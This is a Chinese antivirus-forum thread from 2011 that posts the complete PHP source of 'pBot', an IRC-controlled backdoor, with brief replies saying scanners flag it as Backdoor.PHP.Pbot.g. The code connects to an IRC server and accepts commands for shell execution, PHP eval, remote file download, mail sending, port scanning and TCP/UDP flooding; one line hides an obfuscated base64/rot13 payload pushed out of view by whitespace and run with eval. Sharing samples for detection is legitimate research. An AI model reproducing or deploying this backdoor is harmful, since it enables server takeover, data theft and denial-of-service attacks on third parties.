查看: 1459|回复: 3
收起左侧

[其它] http://goldenoudhproperties.com/libraries/pear/pb.jpg

 关闭 [复制链接]
是昔流芳
发表于 2011-7-19 18:14:20 | 显示全部楼层 |阅读模式
  1. 锘? COMMANDS ============================================================================
  2. .user <password>                                              //login to the bot
  3. .logout                                                       //logout of the bot
  4. .die                                                          //kill the bot
  5. .restart                                                      //restart the bot
  6. .mail <to> <from> <subject> <msg>                             //send an email
  7. .dns <IP|HOST>                                                //dns lookup
  8. .download <URL> <filename>                                    //download a file
  9. .exec <cmd>  // uses shell_exec()                             //execute a command
  10. .cmd <cmd> // uses popen()                                    //execute a command
  11. .info                                                         //get system information
  12. .php <php code> // uses eval()                                //execute php code
  13. .tcpflood <target> <packets> <packetsize> <port> <delay>      //tcpflood attack
  14. .udpflood <target> <packets> <packetsize> <delay>             //udpflood attack
  15. .raw <cmd>                                                    //raw IRC command FIXED by towzAo
  16. .rndnick                                                      //change nickname
  17. .pscan <host> <port>                                          //port scan
  18. .ud.server <newhost> <newport> [newpass]                      //change IRC server
  19. ---------------------------------------------------------------------------------------

  20. <?

  21. set_time_limit(0);
  22. error_reporting(0);

  23. class pBot
  24. {
  25. var $config = array("server"=>"irc.jogjacodex.com",
  26.                      "port"=>6667,
  27.                      "pass"=>"", //senha do server
  28.                      "prefix"=>"codex",
  29.                      "maxrand"=>8,
  30.                      "chan"=>"#jogjacodex",
  31.                      "key"=>"", //senha do canal
  32.                      "modes"=>"+p",
  33.                      "password"=>"aryo",  //senha do bot
  34.                      "trigger"=>".",
  35.                      "hostauth"=>"*" // * for any hostname
  36.                      );
  37. var $users = array();
  38. function start()
  39. {
  40.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  41.        $this->start();
  42.     $ident = "xd";
  43.     $alph = range("a","z");
  44.     for($i=0;$i<$this->config['maxrand'];$i++)
  45.        $ident .= $alph[rand(0,25)];
  46.     if(strlen($this->config['pass'])>0)
  47.        $this->send("PASS ".$this->config['pass']);
  48.     $this->send("USER $ident 127.0.0.1 localhost :$ident");
  49.     $this->set_nick();
  50.     $this->main();
  51. }
  52. function main()
  53. {
  54.     while(!feof($this->conn))
  55.     {
  56.        $this->buf = trim(fgets($this->conn,512));
  57.        $cmd = explode(" ",$this->buf);
  58.        if(substr($this->buf,0,6)=="PING :")
  59.        {
  60.           $this->send("PONG :".substr($this->buf,6));
  61.        }
  62.        if(isset($cmd[1]) && $cmd[1] =="001")
  63.        {
  64.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  65.           $this->join($this->config['chan'],$this->config['key']);
  66.        }
  67.        if(isset($cmd[1]) && $cmd[1]=="433")
  68.        {
  69.           $this->set_nick();
  70.        }
  71.        if($this->buf != $old_buf)
  72.        {
  73.           $mcmd = array();
  74.           $msg = substr(strstr($this->buf," :"),2);
  75.           $msgcmd = explode(" ",$msg);
  76.           $nick = explode("!",$cmd[0]);
  77.           $vhost = explode("@",$nick[1]);
  78.           $vhost = $vhost[1];
  79.           $nick = substr($nick[0],1);
  80.           $host = $cmd[0];
  81.           if($msgcmd[0]==$this->nick)
  82.           {
  83.            for($i=0;$i<count($msgcmd);$i++)
  84.               $mcmd[$i] = $msgcmd[$i+1];
  85.           }
  86.           else
  87.           {
  88.            for($i=0;$i<count($msgcmd);$i++)
  89.               $mcmd[$i] = $msgcmd[$i];
  90.           }
  91.           if(count($cmd)>2)
  92.           {
  93.              switch($cmd[1])
  94.              {
  95.                 case "QUIT":
  96.                    if($this->is_logged_in($host))
  97.                    {
  98.                       $this->log_out($host);
  99.                    }
  100.                 break;
  101.                 case "PART":
  102.                    if($this->is_logged_in($host))
  103.                    {
  104.                       $this->log_out($host);
  105.                    }
  106.                 break;
  107.                 case "PRIVMSG":
  108.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  109.                    {
  110.                       if(substr($mcmd[0],0,1)==".")
  111.                       {
  112.                          switch(substr($mcmd[0],1))
  113.                          {
  114.                             case "user":
  115.                               if($mcmd[1]==$this->config['password'])
  116.                               {
  117.                                  $this->privmsg($this->config['chan'],"[\2Auth\2]: $nick logged in");
  118.                                  $this->log_in($host);
  119.                               }
  120.                               else
  121.                               {
  122.                                  $this->privmsg($this->config['chan'],"[\2Auth\2]: Incorrect password from $nick");
  123.                               }
  124.                             break;
  125.                          }
  126.                       }
  127.                    }
  128.                    elseif($this->is_logged_in($host))
  129.                    {
  130.                       if(substr($mcmd[0],0,1)==".")
  131.                       {
  132.                          switch(substr($mcmd[0],1))
  133.                          {
  134.                             case "restart":
  135.                                $this->send("QUIT :restart");
  136.                                fclose($this->conn);
  137.                                $this->start();
  138.                             break;
  139.                             case "mail": //mail to from subject message
  140.                                if(count($mcmd)>4)
  141.                                {
  142.                                   $header = "From: <".$mcmd[2].">";
  143.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  144.                                   {
  145.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
  146.                                   }
  147.                                   else
  148.                                   {
  149.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
  150.                                   }
  151.                                }
  152.                             break;
  153.                             case "dns":
  154.                                if(isset($mcmd[1]))
  155.                                {
  156.                                   $ip = explode(".",$mcmd[1]);
  157.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  158.                                   {
  159.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  160.                                   }
  161.                                   else
  162.                                   {
  163.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  164.                                   }
  165.                                }
  166.                             break;
  167.                             case "target":
  168.                                $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
  169.                             break;
  170.                             case "bot":
  171.                                $this->privmsg($this->config['chan'],"[\2Bot by Zcrew.Team| v1.0 [edited by towzAo]\2]");
  172.                             break;
  173.                             case "cmd":
  174.                                if(isset($mcmd[1]))
  175.                                {
  176.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  177.                                   $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
  178.                                   $pipe = popen($command,"r");
  179.                                   while(!feof($pipe))
  180.                                   {
  181.                                      $pbuf = trim(fgets($pipe,512));
  182.                                      if($pbuf != NULL)
  183.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  184.                                   }
  185.                                   pclose($pipe);
  186.                                }
  187.                             break;
  188.                             case "rndnick":
  189.                                $this->set_nick();
  190.                             break;
  191.                             case "raw":
  192.                                $this->send(strstr($msg,$mcmd[1]));
  193.                             break;
  194.                             case "php":
  195.                                $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  196.                             break;
  197.                             case "exec":
  198.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  199.                                $exec = shell_exec($command);
  200.                                $ret = explode("\n",$exec);
  201.                                $this->privmsg($this->config['chan'],"[\2exec\2]: $command");
  202.                                for($i=0;$i<count($ret);$i++)
  203.                                   if($ret[$i]!=NULL)
  204.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  205.                             break;
  206.                             case "pscan": // .pscan 127.0.0.1 6667
  207.                                if(count($mcmd) > 2)
  208.                                {
  209.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  210.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  211.                                   else
  212.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  213.                                }
  214.                             break;
  215.                             case "ud.server": // .udserver <server> <port> [password]
  216.                                if(count($mcmd)>2)
  217.                                {
  218.                                   $this->config['server'] = $mcmd[1];
  219.                                   $this->config['port'] = $mcmd[2];
  220.                                   if(isset($mcmcd[3]))
  221.                                   {
  222.                                    $this->config['pass'] = $mcmd[3];
  223.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
  224.                                   }
  225.                                   else
  226.                                   {
  227.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
  228.                                   }
  229.                                }
  230.                             break;
  231.                             case "download":
  232.                                if(count($mcmd) > 2)
  233.                                {
  234.                                   if(!$fp = fopen($mcmd[2],"w"))
  235.                                   {
  236.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
  237.                                   }
  238.                                   else
  239.                                   {
  240.                                      if(!$get = file($mcmd[1]))
  241.                                      {
  242.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
  243.                                      }
  244.                                      else
  245.                                      {
  246.                                         for($i=0;$i<=count($get);$i++)
  247.                                         {
  248.                                            fwrite($fp,$get[$i]);
  249.                                         }
  250.                                         $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
  251.                                      }
  252.                                      fclose($fp);
  253.                                   }
  254.                                }
  255.                             break;
  256.                             case "die":
  257.                                $this->send("QUIT :die command from $nick");
  258.                                fclose($this->conn);
  259.                                exit;
  260.                             case "logout":
  261.                                $this->log_out($host);
  262.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out");
  263.                             break;
  264.                             case "udpflood":
  265.                                if(count($mcmd)>3)
  266.                                {
  267.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  268.                                }
  269.                             break;
  270.                             case "tcpflood":
  271.                                if(count($mcmd)>5)
  272.                                {
  273.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  274.                                }
  275.                             break;
  276.                          }
  277.                       }
  278.                    }
  279.                 break;
  280.              }
  281.           }
  282.        }
  283.        $old_buf = $this->buf;
  284.     }
  285.     $this->start();
  286. }
  287. function send($msg)
  288. {
  289.     fwrite($this->conn,"$msg\r\n");

  290. }
  291. function join($chan,$key=NULL)
  292. {
  293.     $this->send("JOIN $chan $key");
  294. }
  295. function privmsg($to,$msg)
  296. {
  297.     $this->send("PRIVMSG $to :$msg");
  298. }
  299. function is_logged_in($host)
  300. {
  301.     if(isset($this->users[$host]))
  302.        return 1;
  303.     else
  304.        return 0;
  305. }
  306. function log_in($host)
  307. {
  308.     $this->users[$host] = true;
  309. }
  310. function log_out($host)
  311. {
  312.     unset($this->users[$host]);
  313. }
  314. function set_nick()
  315. {
  316.     if(isset($_SERVER['SERVER_SOFTWARE']))
  317.     {
  318.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  319.           $this->nick = "";
  320.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  321.           $this->nick = "";
  322.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  323.           $this->nick = "[X]";
  324.        else
  325.           $this->nick = "[U]";
  326.     }
  327.     else
  328.     {
  329.        $this->nick = "[C]";
  330.     }
  331.     $this->nick .= $this->config['prefix'];
  332.     for($i=0;$i<$this->config['maxrand'];$i++)
  333.        $this->nick .= mt_rand(0,9);
  334.     $this->send("NICK ".$this->nick);
  335. }
  336.   function udpflood($host,$packetsize,$time) {
  337.    $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  338.    $packet = "";
  339.    for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  340.    $timei = time();
  341.    $i = 0;
  342.    while(time()-$timei < $time) {
  343.       $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  344.          fwrite($fp,$packet);
  345.           fclose($fp);
  346.       $i++;
  347.    }
  348.    $env = $i * $packetsize;
  349.    $env = $env / 1048576;
  350.    $vel = $env / $time;
  351.    $vel = round($vel);
  352.    $env = round($env);
  353.    $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  354. }
  355. function tcpflood($host,$packets,$packetsize,$port,$delay)
  356. {
  357.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  358.     $packet = "";
  359.     for($i=0;$i<$packetsize;$i++)
  360.        $packet .= chr(mt_rand(1,256));
  361.     for($i=0;$i<$packets;$i++)
  362.     {
  363.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  364.        {
  365.           $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Error: <$e>");
  366.           return 0;
  367.        }
  368.        else
  369.        {
  370.           fwrite($fp,$packet);
  371.           fclose($fp);
  372.        }
  373.        sleep($delay);
  374.     }
  375.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets packets to $host:$port.");
  376. }
  377. }
  378.                                                                                                                                                                                                                      $byPTeU='XY7BasMwEETvgfyDEIKVIXXuDqYKxMU9xbWdXpogVFuxRSXL2HIP/fpKTSi0e9jDzNuZXa/IMqkUeudGiBFlhFdZ+ZqVb5DXdVHBBT0imAElaFi0jlAMyXbryX8gz49V7eE/Rpm9nLKq5qfyGS679YrkKTzcB3akFU6kKPT7M5L70046OXxSfAvg+8OhxNHdhFlcZQIxU4PiHqQ4CNzYVv4ybOxHvgzCSOqloCBW5AU/Vr7dCKUpoC9r3pVsrNaycXZinbWdlsGMG2tg8/OQ3+G7DX6arEnQ7JZRtb1oPuTEbgEBPk/nAUc++hs=';$aUiMmA=';)))HrGClo$(rqbprq_46rfno(rgnysavmt(ynir';$veaZlT=strrev($aUiMmA);$MBAVHh=str_rot13($veaZlT);eval($MBAVHh);   
  379. $bot = new pBot;
  380. $bot->start();

  381. ?>
复制代码
小淘气
头像被屏蔽
发表于 2011-7-19 20:40:04 | 显示全部楼层
大蜘蛛拦截
Palkia
发表于 2011-7-19 21:44:47 | 显示全部楼层
对象已感染病毒Backdoor.PHP.Pbot.g
klinxun
发表于 2011-7-22 14:11:12 | 显示全部楼层
保存为txt文件,用趋势科技扫描,杀掉。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 06:42 , Processed in 0.119818 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表